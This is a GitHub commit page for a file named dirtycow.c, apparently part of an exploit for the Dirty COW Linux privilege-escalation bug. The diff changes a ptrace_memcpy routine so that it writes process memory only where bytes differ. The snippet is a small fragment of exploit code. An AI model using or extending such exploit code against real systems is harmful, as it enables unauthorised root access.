Skip to content

Commit

Permalink
only change what needs to be changed
Browse files Browse the repository at this point in the history
  • Loading branch information
f0k committed Jan 10, 2021
1 parent 0ac3679 commit d177e97
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions dirtycow.c
Original file line number Diff line number Diff line change
Expand Up @@ -111,10 +111,12 @@ static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
s = src;

while (n >= sizeof(long)) {
memcpy(&value, s, sizeof(value));
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
if (*((long *) s) != *((long *) d)) {
memcpy(&value, s, sizeof(value));
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
}

n -= sizeof(long);
Expand Down

0 comments on commit d177e97

Please sign in to comment.